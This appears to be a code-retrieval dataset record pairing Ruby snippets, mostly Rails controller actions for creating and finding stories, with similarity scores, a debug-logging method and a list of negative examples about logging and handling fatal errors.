"def find_story\n\t\t@story = Story.find(params[:id])\n\t\t\n\tend",
"def actions; end",
"def create\n @story = Story.new(story_params)\n\n respond_to do |format|\n if @story.save\n format.html { redirect_to admin_stories_path, notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.page_content', count: 1))}\n else\n set_date\n format.html { render :new }\n end\n end\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def run_actions; end",
"def find_story\n\t\t@story = Story.find(params[:id])\n\tend",
"def add_actions; end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def set_genre_story\n @genre_story = GenreStory.find(params[:id])\n end",
"def set_color_story\n @color_story = ColorStory.find(params[:id])\n end",
"def edit_story( args )\n return if args[:bundle].nil?\n return unless args[:bundle].valid?\n\n if args[:bundle].ruleset.rules.empty?\n app.alert(title: 'Entschuldigung',\n message: 'Diese Story kann nicht bearbeitet werden.')\n else\n StartScreen.next_story = args[:bundle]\n StartScreen.next_screen = :story_editor\n StartScreen.last_screen = :story_list\n rmq.screen.open_root_screen(StartScreen)\n end\n end",
"def create\n @story = Story.new(story_params)\n\n respond_to do |format|\n if @story.save\n format.html { redirect_to admin_story_path(@story), notice: 'Story was successfully created.' }\n format.json { render :show, status: :created, location: @story }\n else\n format.html { render :new }\n format.json { render json: @story.errors, status: :unprocessable_entity }\n end\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def find_story\n\n\t\t@story = Story.find(params[:id])\n\n\n\n\n\tend",
"def find_story\n\n\t\t\t@story = Story.find(params[:id])\n\n\tend",
"def set_action(action)\n @action = action\n end",
"def setup\n # If account setup, redirect to Studies page\n # if @me.setup\n # flash.alert = \"Error: Page not accessible\"\n # redirect_to studies_path\n # end\n end",
"def find_story\n @story = Story.find(params[:id])\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def create\n @story = Story.new(params[:story])\n @story.user_id = current_user.id\n\n if !params[:draft].nil? \n @story.draft = true\n end\n \n if @story.save && @story.update_contents(params[:story][:content])\n respond_to do |format|\n format.html { redirect_to @story, notice: 'Story was successfully created.' }\n format.js { render :js => \"window.location.href = ('#{story_path(@story)}');\"}\n format.json { render json: @story, status: :created, location: @story }\n end\n else\n @errormsg = @story.errors.to_a.each { |e| e.capitalize }.join(\". \")\n story_errors(@errormsg)\n end\n end",
"def set_storyline_tag\n @storyline_tag = StorylineTag.find(params[:id])\n end",
"def initialize(attributes = {})\n super\n self.type = 'story'\n end",
"def preview\n @story = Story.find(params[:id])\n @story.assign_attributes(params[:story])\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def create\n respond_to do |format|\n if @story.save\n flash[:notice] = 'Story was successfully created.'\n @changed << @story.id\n\n format.html { redirect_to stories_path }\n format.js { render 'shared/index'; flash.discard }\n format.json { render json: @story, status: :created, location: @story }\n else\n @edited << 'new'\n @expanded << 'new'\n\n format.html { render action: 'new', template: 'shared/new' }\n format.js { render 'story'; flash.discard }\n format.json { render json: @story.errors, status: :unprocessable_entity }\n end\n end\n end",
"def setAction(action)\n @action = action\n end",
"def create\n @story = Story.new(params[:story])\n @story.domain_id = session[:domain].id\n @story.bright_text_application_id = session[:br_application_id]\n @story.user_id = session[:user_id]\n @story.story_authors.build().user_id = session[:user_id]\n\n respond_to do |format|\n if @story.save\n format.html { redirect_to @story, notice: 'Story was successfully created.' }\n format.xml { render :xml => @story, :status => :created, :location => @story }\n format.json { render json: @story, status: :created, location: @story }\n format.js\n else\n #debugger\n format.json{ render :json=> @story.errors }\n# format.html { render :action => \"new\" }\n format.xml { render :xml => @story.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n\n\n end",
"def create\n\t\t@story = Story.new(story_params)\n\n\t\tif @story.save\n\t\t\tflash[:success] = \"Thanks for sharing\"\n\t\t\tredirect_to story_path(@story)\n\t\telse\n\t\t\tflash[:error] = \"Oops, sorry, something went wrong\"\n\t\t\trender :new\n\t\tend\n\tend",
"def find_story\n @story = Story.find(params[:id])\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def create\n @story = Story.new(story_params)\n @story.project_id = params[:project_id] if current_user.projects.where(id: params[:project_id])\n @story.state = \"to do\"\n respond_to do |format|\n if @story.save\n format.html { redirect_to @story.project, notice: 'Story was successfully created.' }\n format.json { render :show, status: :created, location: @story }\n else\n format.html { render :new }\n format.json { render json: @story.errors, status: :unprocessable_entity }\n end\n end\n end",
"def after_wiki_activity\n end",
"def create\n @story = Story.new(story_params)\n\n respond_to do |format|\n if @story.save\n format.html { redirect_to [:admin,@story], notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.story', count: 1))}\n else\n format.html { render :new }\n end\n end\n end",
"def set_scene_of_action\n @scene_of_action = SceneOfAction.find(params[:id])\n end",
"def set_invitation\n if params[:story_id].present?\n @invitation = Invitation.find(params[:id])\n set_story\n else\n @invitation = Invitation.find_by_token(params[:id])\n end\n end",
"def create\n @story = Story.new(story_params)\n @story.user = current_user\n respond_to do |format|\n if @story.save\n format.html { redirect_to @story, notice: 'Story was successfully created.' }\n format.json { render :show, status: :created, location: @story }\n else\n format.html { render :new }\n format.json { render json: @story.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publish_story\n begin\n if current_user.facebook_session_exists?\n story_type = params[:story]\n facebook_session = build_facebook_session\n status = false\n\n case story_type\n when 'new_restaurant'\n restaurant_or_event = Restaurant.find(params[:id].to_i)\n status = publish_story_of_restaurant(RESTAURANT_ADDED_TEMPLATE_BUNDLE_ID, facebook_session, restaurant_or_event)\n when 'updated_restaurant'\n restaurant_or_event = Restaurant.find(params[:id].to_i)\n status = publish_story_of_restaurant(RESTAURANT_UPDATED_TEMPLATE_BUNDLE_ID, facebook_session, restaurant_or_event)\n when 'new_image'\n image = Image.find(params[:id].to_i)\n restaurant_or_event = Restaurant.find(params[:restaurant_id].to_i)\n status = publish_story_on_image_added(IMAGE_ADDED_TEMPLATE_BUNDLE_ID, facebook_session, restaurant_or_event, image)\n when 'new_review'\n review = Review.find(params[:id].to_i)\n status = publish_story_of_review(REVIEW_ADDED_TEMPLATE_BUNDLE_ID, facebook_session, review)\n when 'shared_review'\n review = Review.find(params[:id].to_i)\n status = publish_story_of_review(REVIEW_ADDED_TEMPLATE_BUNDLE_ID, facebook_session, review, true)\n when 'updated_review'\n review = Review.find(params[:id].to_i)\n status = publish_story_of_review(REVIEW_ADDED_TEMPLATE_BUNDLE_ID, facebook_session, review)\n when 'new_photo_comment'\n photo_comment = PhotoComment.find(params[:id].to_i)\n status = publish_story_of_photo_comment(facebook_session, photo_comment)\n when 'checkedin'\n restaurant_or_event = Restaurant.find(params[:id]) || TopicEvent.find(params[:id])\n checkin = Checkin.find(params[:checkin_id])\n status = publish_checkin(facebook_session, restaurant_or_event, checkin)\n end\n\n if status\n flash[:notice] = 'Successfully, shared with your facebook friends!'\n else\n flash[:notice] = 'Failed to share with your facebook friends!, please review your configuration!'\n end\n else\n flash[:notice] = 'No active facebook session found.'\n end\n rescue => e\n handle_fb_connect_error(e)\n end\n\n if params[:next_to]\n redirect_to params[:next_to]\n else\n redirect_to root_url\n end\n end",
"def update\n @story = Story.find(params[:id])\n @application = find_application\n if(@story.brighttext==false)\n params[:story][:description] = \"\"\n end\n \n @story_author = StoryAuthor.where(:user_id=>session[:user_id], :story_id=>@story.id).first\n if(@story_author.nil?)\n @story.story_authors.build().user_id = session[:user_id] \n end\n respond_to do |format|\n if @story.update_attributes(params[:story])\n format.html { redirect_to @story, notice: 'Story was successfully created.' }\n format.xml { render :xml => @story, :status => :updated, :location => @story }\n format.json { render json: @story, status: :updated, location: @story }\n format.js\n else\n logger.debug \"#{@story}\" \n format.html { render :action => \"edit\" }\n format.xml { render :xml => @story.errors, :status => :unprocessable_entity }\n format.json{ render :json=> {:success => \"false\"} }\n format.js\n end\n end\n end",
"def create \n\t\t@story = Story.new(story_params)\n\n\t\t\t# conditional ... if \n\t\t\tif @story.save\n\n\t\t\t\t\t# lets add a flash of connet to the tell the user we've added this\n\t\t\t\t\tflash[:success] = \"you've added a link booyaa\"\n\n\n\n\n\t\t\t\t\t# go back to the home page \n\t\t\t\t\tredirect_to root_path\n\n\t\t\telse \n\n\t\t\t\t\trender \"new\"\n\n\t\t\tend\n\n\tend",
"def create\n\t\t@story = Story.new(story_params)\n\n\t\tif @story.save\n\n\t\t\t#lets add a flash of content to tell the user we've added this\n\t\t\t#This could be a success/error message etc\n\n\t\t\tflash[:success] = \"You've added a link yo!\"\n\n\t\t\t#go back to the homepage\n\t\t\tredirect_to root_path\n\t\t\n\n\t\telse\t\n\t\t\trender \"new\"\n\n\t\tend\n\n\tend",
"def setup_change_target\n return unless PONY::ERRNO::check_sequence(current_act)\n setup_target(@acts[1])\n end",
"def set_action_idea\n @action_idea = ActionIdea.find(params[:id])\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end"
] |
[
"0.6911114",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.68065214",
"0.67642146",
"0.6760042",
"0.6760042",
"0.6760042",
"0.6760042",
"0.67488164",
"0.6745257",
"0.6729263",
"0.66751456",
"0.659212",
"0.6443229",
"0.63818717",
"0.6247527",
"0.62016875",
"0.6197967",
"0.61719286",
"0.61187583",
"0.60497427",
"0.5966102",
"0.5925858",
"0.5892636",
"0.5880383",
"0.5868972",
"0.58504283",
"0.58250976",
"0.576348",
"0.5758238",
"0.5729936",
"0.5726973",
"0.5717745",
"0.5688749",
"0.563937",
"0.56193054",
"0.561658",
"0.5605167",
"0.55860513",
"0.5575949",
"0.5518568",
"0.551609",
"0.55156463",
"0.55080646",
"0.54948634",
"0.54948634",
"0.5491405",
"0.5486644",
"0.54747254",
"0.5472462",
"0.5446548",
"0.54377604",
"0.5434604",
"0.5427648",
"0.5387614",
"0.5381532",
"0.5373848",
"0.53724515",
"0.5368561",
"0.53576225",
"0.5348447",
"0.534832",
"0.5335563",
"0.5318355",
"0.531338",
"0.5306535",
"0.52929807",
"0.5292179",
"0.5289537",
"0.52845955",
"0.5283764",
"0.5280313",
"0.5262153",
"0.52596396",
"0.52541226",
"0.524918",
"0.52427053",
"0.5240545",
"0.5231574",
"0.5228065",
"0.52139056",
"0.5213563",
"0.52045393",
"0.5202834",
"0.5200222"
] |
0.0
|
-1
|
Stub implementation for logging errors. By default, this function does nothing if the debug flag has not been set with setDebug. Otherwise, it tries to write the SDK error message to the file that is specified.
|
def debug(error)
return if @debug.nil? or @debug.empty?
begin
File.open(@debug, "a"){|f| f.puts(error)}
rescue
warn("Error: debug: Failed to open #{@debug} for logging.")
end
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def error(msg); @logger.error(msg); end",
"def setup_logging_stubs(_error = nil, _code = nil, _message = nil)\n _undefined\n end",
"def log_error(message)\n logger.error(message) if logger && logger.error?\n end",
"def stub_log_error\n ExceptionHandling.stub_handler = self\n end",
"def error message; write ERROR, message, caller[0] unless level > @level end",
"def log_error(*error_messages)\r\n options = custom_infos.extract_options!\r\n\r\n infos = []\r\n infos << \"Non-Exception Error raised when executing #{request.method} #{request.fullpath}\" if defined? request\r\n error_messages.each do |e_message|\r\n infos << \"\\t#{e_message}\"\r\n end\r\n infos << \"Error trace:\"\r\n include_trace_to info\r\n infos << \"\\n\"\r\n\r\n if options[:write_to] && options[:write_to].to_sym == :info\r\n $arb_log.error infos.join(\"\\n\")\r\n else\r\n $log.error infos.join(\"\\n\")\r\n end\r\nend",
"def log_errors!\n if AnyCable.config.debug?\n # Print error with backtrace in debug mode\n AnyCable.capture_exception do |e|\n stack = e.backtrace\n backtrace = stack ? \":\\n#{stack.take(20).join(\"\\n\")}\" : \"\"\n AnyCable.logger.error(\"#{e.message}#{backtrace}\")\n end\n else\n AnyCable.capture_exception { |e| AnyCable.logger.error(e.message) }\n end\n end",
"def log_error(exception); end",
"def log_errors!\n if AnyCable.config.debug?\n # Print error with backtrace in debug mode\n AnyCable.capture_exception do |e|\n AnyCable.logger.error(\"#{e.message}:\\n#{e.backtrace.take(20).join(\"\\n\")}\")\n end\n else\n AnyCable.capture_exception { |e| AnyCable.logger.error(e.message) }\n end\n end",
"def write_error_info\n end",
"def save_error(message)\n path = error_file_path\n FileUtils.mkdir_p File.dirname(path)\n File.write(path, message)\n warn \"API request failed! log can be found in #{path}\"\n end",
"def error(msg)\n @logger.error(msg)\n end",
"def log_error(message)\n Rails.logger.error message\n puts message\n end",
"def error?; @logger.error? end",
"def log_error(msg)\n logger ? logger.error(msg) : $stderr.puts(msg)\n end",
"def error(msg) log(ERROR, \"ERROR \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def error_log\n end",
"def error_log\n end",
"def error_log\n end",
"def error(message)\n logger.error(PROG_NAME) { message }\n end",
"def error(msg)\r\n prelog\r\n logger.error(msg)\r\n end",
"def error_and_log(message, log, logger)\n log.error(message)\n logger.error(message)\n end",
"def log_error(e = $!)\n (@logger ||= OMF::Base::LObject.new(self.class)).error(e)\n end",
"def error(msg)\n log.error msg\n end",
"def log_error(error)\n log_file = CONFIG['defaults']['log_file']\n if File.exist?(log_file)\n File.open(log_file, 'a') do |log|\n log.puts Time.now.strftime(\"%Y-%m-%d %H:%M:%S\") + \": \" + error\n end\n else\n File.new(log_file, 'w+')\n end\nend",
"def write_error(message)\n STDERR.puts(message)\n end",
"def error_and_log(message)\n @ui.error(message)\n @logger.error(message)\n end",
"def error(log)\n output.puts log if log_level <= ERROR\n end",
"def error(string)\n @logger.error(string)\n end",
"def error_logger(e)\n File.open(\"error_log.txt\", \"a\") do |file|\n file.puts e\n end\nend",
"def error( msg=nil, &block )\n\t\t\t\treturn self.debug( msg, &block ) if @force_debug\n\t\t\t\tGemserver.logger.add( Logger::ERROR, msg, @classname, &block )\n\t\t\tend",
"def err(e)\n @logger.error(e)\n end",
"def error(message)\n STDERR.puts message\nend",
"def log_error(method, file, error)\n time = ''\n # Only add time for development log because production already outputs timestamp\n if Rails.env == 'development'\n time = Time.now.strftime('[%d/%m/%Y %H:%M:%S] ').to_s\n end\n logger.error \"#{time}EXCEPTION IN #{file}, method='#{method}' [#{error}]\"\nend",
"def error(*args)\n log(*args)\n fail\n end",
"def error(message)\n write_message message, 'error'\n end",
"def handle_errors options = {}, &block\n begin\n yield\n rescue Exception => e\n name = caller[1][/`.*'/][1..-2]\n defaults = {puts: \"#{name} failed. See backtrace:\", and_return: nil, call: nil}\n opts = defaults.merge options\n if @logger\n @logger.message :error, \"#{opts[:puts]}\"\n else\n puts \"#{opts[:puts]}\".on_red\n end\n unless opts[:quite]\n p e\n puts e.backtrace\n end\n opts[:call].call if opts[:call].kind_of? Proc\n opts[:and_return]\n end\nend",
"def log_error(ex)\n if @config.logger.respond_to?(:error)\n @config.logger.error(\"CrashHook Error: #{ex.inspect}\")\n elsif @config.logger.kind_of?(IO)\n @config.logger.puts(\"CrashHook Error: #{ex.inspect}\")\n end\n end",
"def log(message, error=false)\n full_message = \"\"\n full_message += \"ERROR: \" if error\n full_message += message\n puts full_message\n end",
"def error(message)\n # note, we always log error messages\n add(:error, message)\n end",
"def error(message)\n # note, we always log error messages\n add(:error, message)\n end",
"def log_example (message)\n $LOG.debug(message)\n $LOG.error \"Error: #{message}\"\nend",
"def log_error(err)\n\t\tprint_error(err)\n\n\t\twlog(err)\n\n\t\t# If it's a syntax error, log the call stack that it originated from.\n\t\tdlog(\"Call stack:\\n#{$@.join(\"\\n\")}\", 'core', LEV_1)\n\tend",
"def log_error(err)\n backtrace = Array(err.backtrace).flatten.compact\n\n backtrace =\n if backtrace.empty?\n ''\n else\n prefix = \"\\n \"\n prefix + backtrace.join(prefix)\n end\n\n message = \"#{err.class}: #{err.message}#{backtrace}\"\n Fluffle.logger.error message\n end",
"def meow(error)\n logger = Logger.new('QuestiongLog.log')\n\n if error\n logger.error('🚧 Error: ' + error + ' 🚧')\n else\n logger.error('🚧 Error occurred!! 🚧')\n end\n end",
"def log_error test, message\n $stderr.puts message if Rails.env.development?\n TestResult.new(suite_name: self.class.name, test_name: test, messages: message, error:true).tap do |tr|\n test_results << tr\n end\n message\n end",
"def log_error(string)\n\tline = \"#{Time.now}: #{string}\"\n\tFile.open(ERROR_LOG_PATH, \"a\") { |f| f.puts line }\nend",
"def error(message)\n log.error(message.to_s.red)\n end",
"def log_error(msg)\n print_error(msg)\n\n elog(msg, 'hwbridge', error: $!)\n end",
"def error(msg)\n @logProvider.error(msg)\n end",
"def error(*args, &block)\n logger_instance.error(args, &block)\n end",
"def error(exception)\n logger.info \"execution failed: #{exception}\"\n end",
"def flag_error(error)\n caller.each{|i| puts i}\n if !$error_activated\n error_txt = report_exception(error)\n Audio.se_play('Audio/SE/Buzzer1',80,100)\n info = (Vocab::Errno::Exception rescue \"An error occurred during the gameplay, please submit \\\"ErrorLog.txt\\\" to the developers in order to resolve the problem.\\n\")\n info = info.force_encoding($default_encoding)\n print info\n msgbox(info)\n filename = \"ErrorLog.txt\"\n File.open(filename, 'w+') {|f| f.write(error_txt + \"\\n\") }\n end\n \n $error_activated = true\n raise error.class, error.message, [$error_tracer_header]\nend",
"def error(exception)\n logger.error(exception)\n end",
"def sparkLogErrorToFile(fileName, sync = false)\n sparkEnableLog(fileName, 'eError', sync)\nend",
"def error\n logger.add(Logger::ERROR, nil, facility) { yield } if logger && logger.error?\n end",
"def log_error(e=$!)\n logger = Log4r::Logger.new \"Mauve::HTTPServer\"\n logger.error(e)\n logger.debug(e.backtrace.join(\"\\n\")) \n end",
"def logError(message)\n found = false\n if ($logMessages)\n\tlogServer = get($serverPath+'log')\n\tif (logServer != nil)\n\t\tlogServer.error(message)\n\t\tfound = true\n\tend\n end\n if (!found or !$logMessages or $printAllMessages)\n\tprint(message)\n end\nend",
"def error(message, options = { })\n unless ENV['GUARD_ENV'] == 'test'\n reset_line if options[:reset]\n STDERR.puts color('ERROR: ', :red) + message\n end\n end",
"def log_error(msg, e=nil)\n #log_msg = msg + \": #{e}\\n\\t\" + e.backtrace.join(\"\\n\\t\") + \"\\n\" if e\n #Logging.log_msg(log_msg, Logger::ERROR)\n (@logger ||= OMF::Common::LObject.new(self.class)).error(msg, \"\\n\", e, \"\\n\", e.backtrace.join(\"\\n\\t\"))\n end",
"def generate_error(args, response)\n \n puts \"Error! Check API Key and retry.\"\n puts response.body\n #File.open(\"../../../error.log\", 'a+') {|f| f.write(\"---\\n#{Time.now}\\nArgs: #{args[0]}, #{args[1]}, #{args[2]}\\n#{response.body}\\n---\\n\") }\n exit 1\n\nend",
"def handle_error(message:)\n raise ::Kitchen::Pulumi::Error, message if config_fail_fast\n\n logger.error message\n error_messages.push message\n end",
"def log_error(&block)\n return if @logger.nil?\n @logger.error(yield)\n end",
"def error(msg)\n @logger.error(format_msg(msg))\n fail(\"Middleman VCard generator failed\")\n end",
"def log_error(filename, line_number, message)\n numbered_message = \"#{filename}:#{line_number} - #{message}\"\n if Command.abort_on_error?\n abort \"ABORTING - #{numbered_message}\"\n else\n STDERR.puts numbered_message\n end\n end",
"def _error(msg = nil)\n @api_error[:msg] = msg if msg\n logger.warn(@api_error[:loc]) { @api_error[:msg].message }\n end",
"def log_and_error!(msg, code = :not_found)\n logger.error msg\n render json: { error: msg }.to_json, status: code, format: 'json'\n end",
"def log_error message, opts = {}, &block\n log message, opts.merge(:as => :error), &block\n end",
"def error(exception)\n log \"#{exception.message}\\n#{exception.backtrace.join(\"\\n\")}\", :error\n end",
"def error(string)\n to_console loggify(string, :error, :red), true\n to_file loggify(string, :error)\n end",
"def log_error(method:, error:)\n return unless method.present? && error.present?\n\n Rails.logger.error \"#{self.class.name}.#{method} #{error.message}\"\n Rails.logger.error error.backtrace\n end",
"def log_failure(message, opts)\n @logger.error(message, opts)\n end",
"def error( msg=nil, &block )\n\t\t\t\treturn self.debug( msg, &block ) if @force_debug\n\t\t\t\tMongrel2.logger.add( Logger::ERROR, msg, @classname, &block )\n\t\t\tend",
"def error(m)\n log_handler.error msg(m)\n end",
"def log_failure(message, opts)\n @logger.error(\"[HTTP Output Failure] #{message}\", opts)\n end",
"def error(message)\n $stderr.puts message\n end",
"def log_debug(*debug_infos)\r\n options = debug_infos.extract_options!\r\n options[:development_only] ||= true\r\n\r\n if options[:development_only]\r\n if Rails.env != 'production'\r\n infos = create_info_log_string debug_infos\r\n end\r\n else\r\n infos = create_info_log debug_infos\r\n end\r\n\r\n if options[:write_to] && options[:write_to].to_sym == :error\r\n $log.error infos.join(\"\\n\")\r\n else\r\n $arb_log.info infos.join(\"\\n\")\r\n end\r\nend",
"def logged_failure!(message)\n Rails.logger.tagged(:ldap) { Rails.logger.error(\"#{message}.\") }\n fail!(message)\n end",
"def error(text)\n GitPusshuTen::Log.error(text)\n end",
"def log_error(error)\n @logger.error \"* [JOB] #{name} failed with #{error.class.name}: #{error.message}\"\n @logger.error error.backtrace.inspect\n end",
"def err(message)\n warn \" > #{message}\"\nend",
"def log_failure(message, opts)\n puts message\n @logger.error(\"[HTTP Output Failure] #{message}\", opts)\n end",
"def debug_error(error, req = T.unsafe(nil), text = T.unsafe(nil)); end",
"def error(msg)\n $ibm_cloud_log.error(format_message(msg))\n end",
"def log_error(e)\n return unless tracing?\n self.current_trace.add_error(e)\n end",
"def log_request_error(error, url, error_code)\n Rails.logger.error(\"#{__FILE__} tried to access #{url} got: #{error.message} #{error.backtrace}\")\n log.puts \"#{error_code} #{error.message}\"\n end",
"def error(message)\n log(\"#{color(\"ERROR:\", :red, :bold)} #{message}\")\n end",
"def err(message)\n stderr.puts message\n end",
"def error(message)\n print(1, message)\n end",
"def error_on(exception, message)\n env.logger.debug \"---BUILD ERROR RESPONSE #{self.class}---\\t #{exception.inspect} with message #{message}\"\n raise exception, message\n end",
"def error(msg)\n log(msg, level: Level::ERROR)\n end",
"def log(msg)\r\n STDERR.puts msg\r\n end",
"def errorf(string, *args)\n logf(string, *args)\n fail\n end",
"def err(message = '')\n @out_sections = [] unless defined?(@out_sections)\n message = \"#{' ' * @out_sections.size}#{message}\"\n # log_debug \"<Output> - #{message}\"\n message = \"#{message}\\n\" unless message.end_with?(\"\\n\")\n @logger_stderr << message\n end",
"def map_error_output(filename)\r\n\tDir.mkdir(\"#{settings.root}/tmp\") unless File.exists?(\"#{settings.root}/tmp\")\r\n\tfile = File.new(\"#{settings.root}/tmp/#{filename}\", 'a+')\r\n\tfile.sync = true\r\n\t$stderr.reopen file\r\nend",
"def error_and_log_error(error)\n error_and_log(error.message)\n error_and_log(error.backtrace.reverse.join(\"\\n\"))\n end",
"def err(message, title=nil)\n Sinatra::Messages.error(\"#{get_env}#{message}\", title)\n end",
"def record_error (error)\n\n path = get_path(error.fei)\n\n dirpath = File.dirname(path)\n\n FileUtils.mkdir_p(dirpath) unless File.exist?(dirpath)\n\n File.open(path, 'a+') do |f|\n f.puts(error.to_yaml)\n end\n end",
"def print_error( str = '' )\n log_error( str )\n push_to_output_buffer( :error => str )\n end",
"def log_callback_error err\n warn \"#{self.class}: ERROR: #{err}\\n from #{err.backtrace.inspect}\"\n rescue Exception => e\n Thread.main.raise(e) if !!$DEBUG\n end"
] |
[
"0.6555185",
"0.6437822",
"0.63784707",
"0.6335859",
"0.6260127",
"0.624371",
"0.619346",
"0.6184484",
"0.61614674",
"0.6145898",
"0.61324054",
"0.6118624",
"0.6076368",
"0.60682285",
"0.60328007",
"0.6023618",
"0.60207313",
"0.60207313",
"0.60207313",
"0.6019323",
"0.60109246",
"0.5999746",
"0.59953797",
"0.5985112",
"0.59777117",
"0.5971967",
"0.5950123",
"0.5949331",
"0.5932655",
"0.5921151",
"0.5905986",
"0.590429",
"0.58996385",
"0.58755153",
"0.5859867",
"0.58506",
"0.5847017",
"0.5828062",
"0.5825245",
"0.5807817",
"0.5807817",
"0.57981217",
"0.5787266",
"0.5769376",
"0.5756063",
"0.5753639",
"0.5749278",
"0.5728537",
"0.57250345",
"0.5699689",
"0.56745124",
"0.56683904",
"0.5659389",
"0.5655874",
"0.565062",
"0.564534",
"0.56260234",
"0.5625006",
"0.56180394",
"0.56055117",
"0.5598251",
"0.5597748",
"0.5596409",
"0.55928224",
"0.5589257",
"0.5586344",
"0.5585911",
"0.5580722",
"0.5567435",
"0.5565819",
"0.5560164",
"0.55461055",
"0.5524595",
"0.5513558",
"0.55067563",
"0.5506721",
"0.54956424",
"0.5495381",
"0.54906636",
"0.5485295",
"0.54836285",
"0.5482041",
"0.5481224",
"0.5476803",
"0.5472531",
"0.5462088",
"0.54582477",
"0.54548275",
"0.54538894",
"0.5441687",
"0.5439762",
"0.54074264",
"0.5407347",
"0.53985095",
"0.53978753",
"0.5397395",
"0.53912765",
"0.53909326",
"0.5390744",
"0.5386992"
] |
0.62974066
|
4
|
Stub implementation for handling a fatal error.
|
def fatal(error)
debug(error)
raise(error)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fatal; end",
"def fatal?; end",
"def fatal?; end",
"def fatal_error(message)\n puts message\n exit -1\nend",
"def fatal_error(error)\n $stderr.puts \"#{$0}: error: #{error}\"\n exit 1\nend",
"def fatal(*args)\n log(*args)\n fail_now\n end",
"def fatal!(msg, err = -1)\n Kitchenplan::Log.fatal(msg)\n Process.exit err\n end",
"def fatal!(message)\n fatal(message)\n exit 1\n end",
"def fatal(&prc)\n @@fatal = prc unless prc.nil?\n return @@fatal\n end",
"def fatal(msg); @logger.fatal(msg); end",
"def fatal!(msg, err = -1)\n Backdat::Log.fatal(msg)\n Process.exit err\n end",
"def fatalerror( err_msg )\n# Display a fatal error and quit. -----------------------------------\n if ($gTest_params[\"logfile\"])\n $fLOG.write(\"\\nsubstitute-h2k.rb -> Fatal error: \\n\")\n $fLOG.write(\"#{err_msg}\\n\")\n end\n print \"\\n=========================================================\\n\"\n print \"substitute-h2k.rb -> Fatal error: \\n\\n\"\n print \" #{err_msg}\\n\"\n print \"\\n\\n\"\n print \"substitute-h2k.rb -> Other Error or warning messages:\\n\\n\"\n print \"#{$ErrorBuffer}\\n\"\n exit() # Run stopped\nend",
"def fatal_error(error, msg, args)\n Distributed.fatal \"#{self}: fatal error '#{error.message}' while processing #{msg}(#{args.join(\", \")})\"\n Distributed.fatal Roby.filter_backtrace(error.backtrace).join(\"\\n \")\n @connection_state = :disconnecting\n queue_call false, :fatal_error, [error, msg, args]\n end",
"def fatal?\n false\n end",
"def fatal(msg)\n banner(msg, RED)\n exit(1)\n end",
"def fatal?; @level <= FATAL; end",
"def fatal?; @level <= FATAL; end",
"def fatal(msg)\n banner(msg, color: RED)\n exit 1\n end",
"def fatal(*args)\n log(:fatal, *args)\n end",
"def fatal?; @logger.fatal? end",
"def fatal(msg) log(FATAL, \"FATAL \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def fatal(msg)\n log.fatal msg\n end",
"def fatal_error?(_error, _payload, _metadata)\n false\n end",
"def abort( msg )\n @log.fatal msg\n exit 1\n end",
"def on_fetcher_call_error(event)\n fatal \"Fetcher crash due to an error: #{event[:error]}\"\n end",
"def abort_on_exception=(_arg0); end",
"def abort(msg = '')\n\t\toutput.print_error(\"fatal: #{msg}\")\n\tend",
"def abort( msg )\n @log.fatal msg\n exit 1\n end",
"def fatal(msg)\n logger.fatal msg\n end",
"def fatal(m)\n log_handler.fatal msg(m)\n end",
"def fail\n # no-op\n end",
"def fatalf(string, *args)\n logf(string, *args)\n fail_now\n end",
"def fatal(*args, &block)\n Log.fatal(*args, &block)\n end",
"def fail\n\t\t# throw up this code and feed plezi your own lines :)\n\t\traise \"Plezi raising hell!\"\n\tend",
"def fatal(message)\n log(4, message)\n end",
"def recover_from(_error); end",
"def fatal(*args, &block)\n logger_instance.fatal(args, &block)\n end",
"def fatal message; write FATAL, message, caller[0] unless level > @level end",
"def raise(cls, str, junk=nil)\n Rubinius::VM.write_error \"Fatal error loading runtime kernel:\\n \"\n Rubinius::VM.write_error str\n Rubinius::VM.write_error \"\\n\"\n Rubinius::VM.show_backtrace\n Process.exit! 1\n end",
"def fatal_error(error)\n STDERR.puts Rainbow(\"Fatal error: #{error}\").red\n STDERR.puts \"Backtrace:\"\n STDERR.puts format_backtrace(error.backtrace)\n end",
"def abort(s)\n report_error(s)\n exit 1\nend",
"def abort(s)\n report_error(s)\n exit 1\nend",
"def abort(s)\n report_error(s)\n exit 1\nend",
"def raise_exception_on_sigterm(answer = T.unsafe(nil)); end",
"def abort_on_exception(*) end",
